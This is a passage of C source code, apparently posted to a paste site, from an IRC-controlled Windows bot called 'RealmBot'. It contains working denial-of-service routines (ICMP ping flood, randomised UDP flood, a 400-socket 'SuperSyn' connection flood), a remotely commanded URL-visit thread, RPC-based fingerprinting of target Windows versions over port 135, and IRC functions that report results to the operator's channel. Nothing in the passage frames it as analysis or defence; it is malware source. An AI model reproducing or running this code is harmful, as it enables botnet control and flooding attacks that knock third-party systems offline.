  5248. DWORD WINAPI VisitThread(LPVOID param)
  5249. {
  5250. HINTERNET ch = 0, req = 0;
  5251.  
  5252. const char *accept = "*/*";
  5253. char vhost[128], vuser[128], vpass[128], vpath[256], sendbuf[IRCLINE];
  5254.  
  5255. VISIT visit = *((VISIT *)param);
  5256. VISIT *visits = (VISIT *)param;
  5257. visits->gotinfo = TRUE;
  5258.  
  5259. // zero out string varaiables
  5260. memset(vhost, 0, sizeof(vhost));
  5261. memset(vuser, 0, sizeof(vuser));
  5262. memset(vpass, 0, sizeof(vpass));
  5263. memset(vpath, 0, sizeof(vpath));
  5264.  
  5265. // zero out url structure and set options
  5266. URL_COMPONENTS url;
  5267. memset(&url, 0, sizeof(url));
  5268. url.dwStructSize = sizeof(url);
  5269. url.dwHostNameLength = 1;
  5270. url.dwUserNameLength = 1;
  5271. url.dwPasswordLength = 1;
  5272. url.dwUrlPathLength = 1;
  5273.  
  5274. do {
  5275. // crack the url (break it into its main parts)
  5276. if (!fInternetCrackUrl(visit.host, strlen(visit.host), 0, &url)) {
  5277. sprintf(sendbuf,"[REALMBOT] << Invalid URL >>");
  5278. break;
  5279. }
  5280.  
  5281. // copy url parts into variables
  5282. if (url.dwHostNameLength > 0)
  5283. strncpy(vhost, url.lpszHostName, url.dwHostNameLength);
  5284. int vport = url.nPort;
  5285. if (url.dwUserNameLength > 0)
  5286. strncpy(vuser, url.lpszUserName, url.dwUserNameLength);
  5287. if (url.dwPasswordLength > 0)
  5288. strncpy(vpass, url.lpszPassword, url.dwPasswordLength);
  5289. if (url.dwUrlPathLength > 0)
  5290. strncpy(vpath, url.lpszUrlPath, url.dwUrlPathLength);
  5291.  
  5292. ch = fInternetConnect(ih, vhost,(unsigned short)vport, vuser, vpass, INTERNET_SERVICE_HTTP, 0, 0);
  5293. if (ch == NULL) {
  5294. sprintf(sendbuf,"[REALMBOT] << Could not open a connection >>");
  5295. break;
  5296. }
  5297.  
  5298. req = fHttpOpenRequest(ch, NULL, vpath, NULL, visit.referer, &accept, INTERNET_FLAG_NO_UI, 0);
  5299. if (req == NULL) {
  5300. sprintf(sendbuf,"[REALMBOT] << Failed to connect to HTTP server >>");
  5301. break;
  5302. }
  5303.  
  5304. if (fHttpSendRequest(req, NULL, 0, NULL, 0))
  5305. sprintf(sendbuf,"[REALMBOT] << URL visited >>");
  5306. else
  5307. sprintf(sendbuf,"[REALMBOT] << Failed to get requested URL from HTTP server >>");
  5308. } while(0);
  5309.  
  5310. if (!visit.silent) irc_privmsg(visit.sock, visit.chan, sendbuf, visit.notice);
  5311. addlog(sendbuf);
  5312.  
  5313. fInternetCloseHandle(ch);
  5314. fInternetCloseHandle(req);
  5315.  
  5316. clearthread(visit.threadnum);
  5317.  
  5318. ExitThread(0);
  5319. }
  5320. #endif
  5321.  
  5322.  
  5323. #ifndef NO_PING
  5324. // function for sending pings
  5325. DWORD WINAPI ping(LPVOID param)
  5326. {
  5327. char sendbuf[IRCLINE], pbuff[MAXPINGSIZE];
  5328.  
  5329. unsigned long ip;
  5330.  
  5331. PINGFLOOD ping = *((PINGFLOOD *)param);
  5332. PINGFLOOD *pings = (PINGFLOOD *)param;
  5333. pings->gotinfo = TRUE;
  5334.  
  5335. HANDLE icmp = (HANDLE)fIcmpCreateFile();
  5336.  
  5337. IN_ADDR iaddr;
  5338. iaddr.s_addr = finet_addr(ping.host);
  5339. LPHOSTENT hostent = NULL;
  5340. if (iaddr.s_addr == INADDR_NONE)
  5341. hostent = fgethostbyname(ping.host);
  5342. if ((hostent == NULL && iaddr.s_addr == INADDR_NONE) || icmp == INVALID_HANDLE_VALUE) {
  5343. sprintf(sendbuf,"RealmBoT (ping.p.l.g) .»». Error sending pings to %s.", ping.host);
  5344. if (!ping.silent) irc_privmsg(ping.sock, ping.chan, sendbuf, ping.notice);
  5345. addlog(sendbuf);
  5346.  
  5347. clearthread(ping.threadnum);
  5348.  
  5349. ExitThread(1);
  5350. }
  5351.  
  5352. if (hostent != NULL)
  5353. ip = *(DWORD*)*hostent->h_addr_list;
  5354. else
  5355. ip = iaddr.s_addr;
  5356.  
  5357. ICMP_ECHO_REPLY reply;
  5358. memset(&reply, 0, sizeof(reply));
  5359. reply.RoundTripTime = 0xffffffff;
  5360.  
  5361. if (ping.size > MAXPINGSIZE)
  5362. ping.size = MAXPINGSIZE;
  5363. if (ping.delay < 1)
  5364. ping.delay = 1;
  5365. for (int i = 0; i < ping.num; i++)
  5366. fIcmpSendEcho(icmp, ip, pbuff, ping.size, NULL, &reply, sizeof(ICMP_ECHO_REPLY), ping.delay);
  5367. fIcmpCloseHandle(icmp);
  5368.  
  5369. sprintf(sendbuf,"RealmBoT (ping.p.l.g) .»». Finished sending pings to %s.", ping.host);
  5370. if (!ping.silent) irc_privmsg(ping.sock, ping.chan, sendbuf, ping.notice);
  5371. addlog(sendbuf);
  5372.  
  5373. clearthread(ping.threadnum);
  5374.  
  5375. ExitThread(0);
  5376. }
  5377. #endif
  5378.  
  5379. #ifndef NO_UDP
  5380. #define MAXUDPPORT 65535
  5381.  
  5382. // function for sending udp packets
  5383. DWORD WINAPI udp(LPVOID param)
  5384. {
  5385. PINGFLOOD udp = *((PINGFLOOD *)param);
  5386. PINGFLOOD *udps = (PINGFLOOD *)param;
  5387. udps->gotinfo = TRUE;
  5388.  
  5389. char sendbuf[IRCLINE], pbuff[MAXPINGSIZE];
  5390. int i;
  5391.  
  5392. srand(GetTickCount());
  5393.  
  5394. SOCKET usock = fsocket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  5395. SOCKADDR_IN ssin;
  5396. memset(&ssin, 0, sizeof(ssin));
  5397. ssin.sin_family = AF_INET;
  5398.  
  5399. IN_ADDR iaddr;
  5400. iaddr.s_addr = finet_addr(udp.host);
  5401. LPHOSTENT hostent = NULL;
  5402. if (iaddr.s_addr == INADDR_NONE)
  5403. hostent = fgethostbyname(udp.host);
  5404. if (hostent == NULL && iaddr.s_addr == INADDR_NONE) {
  5405. sprintf(sendbuf,"RealmBoT (udp.p.l.g) .»». Error sending pings to %s.", udp.host);
  5406. if (!udp.silent) irc_privmsg(udp.sock, udp.chan, sendbuf, udp.notice);
  5407. addlog(sendbuf);
  5408.  
  5409. clearthread(udp.threadnum);
  5410.  
  5411. ExitThread(1);
  5412. }
  5413. ssin.sin_addr = ((hostent != NULL)?(*((LPIN_ADDR)*hostent->h_addr_list)):(iaddr));
  5414. ssin.sin_port = ((udp.port == 0)?(fhtons((unsigned short)((rand() % MAXPINGSIZE) + 1))):(fhtons((unsigned short)udp.port)));
  5415.  
  5416. if (udp.port < 1)
  5417. udp.port = 1;
  5418. if (udp.port > MAXUDPPORT)
  5419. udp.port = MAXUDPPORT;
  5420. udp.num = udp.num / 10;
  5421. if (udp.delay == 0)
  5422. udp.delay = 1;
  5423.  
  5424. for (i = 0; i < udp.size; i++)
  5425. pbuff[i] = (char)(rand() % 255);
  5426. while (udp.num-- > 0) {
  5427. //change port every 10 packets (if one isn't specified)
  5428. for (i = 0; i < 11; i++) {
  5429. fsendto(usock, pbuff, udp.size-(rand() % 10), 0, (LPSOCKADDR)&ssin, sizeof(ssin));
  5430. Sleep(udp.delay);
  5431. }
  5432. if (udp.port == 0)
  5433. ssin.sin_port = fhtons((unsigned short)((rand() % MAXPINGSIZE) + 1));
  5434. }
  5435. sprintf(sendbuf,"RealmBoT (udp.p.l.g) .»». Finished sending packets to %s.", udp.host);
  5436. if (!udp.silent) irc_privmsg(udp.sock, udp.chan, sendbuf, udp.notice);
  5437. addlog(sendbuf);
  5438.  
  5439. clearthread(udp.threadnum);
  5440.  
  5441. ExitThread(0);
  5442. }
  5443. #endif
  5444. #ifndef NO_SUPERSYN
  5445.  
  5446. #define MAX_PACK_LEN 65535
  5447. #define SIO_RCALL 0x98000001
  5448. #define SUPERSYN_SOCKETS 400
  5449.  
  5450.  
  5451. #define SYN_DPORT 2000
  5452. #define SYN_XORVAL 0xFFFFFFFF
  5453. #define SYN_SPOOF_TEST 2001
  5454. #define SYN_SPOOF_GOOD 2002
  5455.  
  5456. DWORD WINAPI SuperSynThread(LPVOID param)
  5457. {
  5458. char sendbuf[IRCLINE];
  5459.  
  5460. SUPERSYN supersyn = *((SUPERSYN *)param);
  5461. SUPERSYN *supersyns = (SUPERSYN *)param;
  5462. supersyns->gotinfo = TRUE;
  5463.  
  5464. sprintf(sendbuf, "[SUPERSYN]: Done with flood (%iKB/sec)", SuperSyn(supersyn.ip, supersyn.port, supersyn.length));
  5465. if (!supersyn.silent) irc_privmsg(supersyn.sock, supersyn.chan, sendbuf, supersyn.notice);
  5466. addlog(sendbuf);
  5467.  
  5468. clearthread(supersyn.threadnum);
  5469.  
  5470. ExitThread(0);
  5471. }
  5472.  
  5473. long SuperSynSend(unsigned long TargetIP, unsigned short TargetPort, int len)
  5474. {
  5475. int superdelay = 100;
  5476. SOCKADDR_IN SockAddr;
  5477. SOCKET sock[SUPERSYN_SOCKETS];
  5478. IN_ADDR iaddr;
  5479. memset(&SockAddr, 0, sizeof(SockAddr));
  5480. SockAddr.sin_family = AF_INET;
  5481. SockAddr.sin_port = fhtons(TargetPort);
  5482. LPHOSTENT lpHostEntry = NULL;
  5483. DWORD mode = 1;
  5484. int c,i;
  5485. iaddr.s_addr = TargetIP;
  5486. SockAddr.sin_addr = iaddr; //ip addy
  5487. i = 0;
  5488. while (i < len) {
  5489. for (c=0;c<SUPERSYN_SOCKETS;c++)
  5490. {
  5491. sock[c] = socket(AF_INET, SOCK_STREAM, 0);
  5492. if (sock[c] == INVALID_SOCKET)
  5493. continue;
  5494. ioctlsocket(sock[c],FIONBIO,&mode);
  5495. }
  5496. for (c=0;c<SUPERSYN_SOCKETS;c++)
  5497. connect(sock[c], (PSOCKADDR) &SockAddr, sizeof(SockAddr));
  5498. Sleep(superdelay);
  5499. for (c=0;c<SUPERSYN_SOCKETS;c++)
  5500. closesocket(sock[c]); //close sockets
  5501. i++;
  5502. }
  5503. return 0;
  5504. }
  5505.  
  5506. long SuperSyn(char *target, char *port, char *len)
  5507. {
  5508. unsigned long TargetIP = ResolveAddress(target);
  5509. unsigned short p = (unsigned short)atoi(port);
  5510. int t = atoi(len);
  5511.  
  5512. long num = SuperSynSend(TargetIP, p, t);
  5513.  
  5514. if (num == 0)
  5515. num = 1;
  5516. num = num / 1000 / t;
  5517.  
  5518. return num;
  5519. }
  5520.  
  5521. #endif
  5522.  
  5523.  
  5524.  
  5525. char rpcfp_bindstr[]=
  5526. "\x05\x00\x0b\x03\x10\x00\x00\x00\x48\x00\x00\x00\x01\x00\x00\x00"
  5527. "\xd0\x16\xd0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00"
  5528. "\x80\xbd\xa8\xaf\x8a\x7d\xc9\x11\xbe\xf4\x08\x00\x2b\x10\x29\x89"
  5529. "\x01\x00\x00\x00\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00"
  5530. "\x2b\x10\x48\x60\x02\x00\x00\x00";
  5531.  
  5532. char rpcfp_inqifids[]=
  5533. "\x05\x00\x00\x03\x10\x00\x00\x00\x18\x00\x00\x00\x01\x00\x00\x00"
  5534. "\x00\x00\x00\x00\x00\x00\x00\x00";
  5535.  
  5536. char w2kuuid_sig[]=
  5537. "\xB0\x01\x52\x97\xCA\x59\xD0\x11\xA8\xD5\x00\xA0\xC9\x0D\x80\x51";
  5538.  
  5539. char wxpuuid_sig[]=
  5540. "\x26\xB5\x55\x1D\x37\xC1\xC5\x46\xAB\x79\x63\x8F\x2A\x68\xE8\x69";
  5541.  
  5542.  
  5543. bool MemContains(const char *pMem, const int iMemLen, const char *pSearch, const int iSearchLen)
  5544. {
  5545. for(int i=0;i<iMemLen-iSearchLen;i++)
  5546. if(!memcmp(pMem+i, pSearch, iSearchLen))
  5547. return true;
  5548.  
  5549. return false;
  5550. }
  5551.  
  5552. int FpHost(const char *szHost, int iFpType)
  5553. {
  5554. switch(iFpType) {
  5555. case FP_RPC:
  5556. {
  5557. char szRecvBuf[8192];
  5558.  
  5559. int iRetVal=OS_UNKNOWN;
  5560. int sSocket=fsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  5561.  
  5562. if(sSocket==SOCKET_ERROR || sSocket==INVALID_SOCKET)
  5563. return OS_UNKNOWN;
  5564.  
  5565. SOCKADDR_IN ssin;
  5566. memset(&ssin, 0, sizeof(ssin));
  5567. ssin.sin_family=AF_INET;
  5568. ssin.sin_port=fhtons(135);
  5569. ssin.sin_addr.s_addr=ResolveAddress((char *)szHost);
  5570.  
  5571. int iErr=fconnect(sSocket, (LPSOCKADDR)&ssin, sizeof(ssin));
  5572. if(iErr!=SOCKET_ERROR) {
  5573. iErr=fsend(sSocket, rpcfp_bindstr, sizeof(rpcfp_bindstr)-1, 0);
  5574. if(iErr==SOCKET_ERROR) {
  5575. fclosesocket(sSocket);
  5576. return iRetVal;
  5577. }
  5578. iErr=frecv(sSocket, szRecvBuf, sizeof(szRecvBuf), 0);
  5579. if(iErr==SOCKET_ERROR) {
  5580. fclosesocket(sSocket);
  5581. return iRetVal;
  5582. }
  5583. if(szRecvBuf[2]==DCE_PKT_BINDACK) {
  5584. iErr=fsend(sSocket, rpcfp_inqifids, sizeof(rpcfp_inqifids)-1,0);
  5585. if(iErr==SOCKET_ERROR) {
  5586. fclosesocket(sSocket);
  5587. return iRetVal;
  5588. }
  5589. iErr=frecv(sSocket, szRecvBuf, sizeof(szRecvBuf),0);
  5590. if(iErr==SOCKET_ERROR) {
  5591. fclosesocket(sSocket);
  5592. return iRetVal;
  5593. }
  5594. if(szRecvBuf[2]==DCE_PKT_RESPONSE) {
  5595. if(MemContains(szRecvBuf, iErr, w2kuuid_sig, sizeof(w2kuuid_sig)-1)) {
  5596. if(iErr<300)
  5597. iRetVal=OS_WINNT;
  5598. else
  5599. iRetVal=OS_WIN2K;
  5600. } else
  5601. if(MemContains(szRecvBuf, iErr, wxpuuid_sig, sizeof(wxpuuid_sig)-1))
  5602. iRetVal=OS_WINXP;
  5603. else
  5604. iRetVal=OS_UNKNOWN;
  5605. } else {
  5606. fclosesocket(sSocket);
  5607. return iRetVal;
  5608. }
  5609. } else {
  5610. fclosesocket(sSocket);
  5611. return iRetVal;
  5612. }
  5613. } else {
  5614. fclosesocket(sSocket);
  5615. return iRetVal;
  5616. }
  5617. fclosesocket(sSocket);
  5618. return iRetVal;
  5619. }
  5620. break;
  5621. case FP_PORT5K:
  5622. if(AdvPortOpen(finet_addr(szHost), 5000, 3)) return OS_WINXP;
  5623. break;
  5624. case FP_TTL:
  5625. return OS_UNKNOWN;
  5626. break;
  5627. default:
  5628. return OS_UNKNOWN;
  5629. break;
  5630. }
  5631. return OS_UNKNOWN;
  5632. }
  5633.  
  5634.  
  5635. // globals
  5636. extern FILE *fp;
  5637.  
  5638. // irc send functions
  5639. void irc_sendv(SOCKET sock, char *msg, ...)
  5640. {
  5641. char msgbuf[IRCLINE];
  5642.  
  5643. va_list argp;
  5644. va_start(argp, msg);
  5645. _vsnprintf(msgbuf, sizeof(msgbuf), msg, argp);
  5646. fsend(sock, msgbuf, strlen(msgbuf), 0);
  5647.  
  5648. #ifdef DEBUG_LOGGING
  5649. debuglog(msgbuf,FALSE);
  5650. #endif
  5651.  
  5652. return;
  5653. }
  5654.  
  5655. void irc_privmsg(SOCKET sock, char *dest, char *msg, BOOL notice, BOOL delay)
  5656. {
  5657. char msgbuf[IRCLINE], tmpbuf[IRCLINE], *action;
  5658.  
  5659. if (notice)
  5660. action = "NOTICE";
  5661. else
  5662. action = "PRIVMSG";
  5663.  
  5664. int bufsize = IRCLINE - strlen(action) - strlen(dest) - 6 ; // trust me
  5665. _snprintf(tmpbuf,bufsize,"%s",msg);
  5666. sprintf(msgbuf,"%s %s :%s\r\n", action, dest, tmpbuf);
  5667. fsend(sock, msgbuf, strlen(msgbuf), 0);
  5668.  
  5669. #ifdef DEBUG_LOGGING
  5670. debuglog(msgbuf,FALSE);
  5671. #endif
  5672.  
  5673. if(delay)
  5674. Sleep(FLOOD_DELAY);
  5675.  
  5676. return;
  5677. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement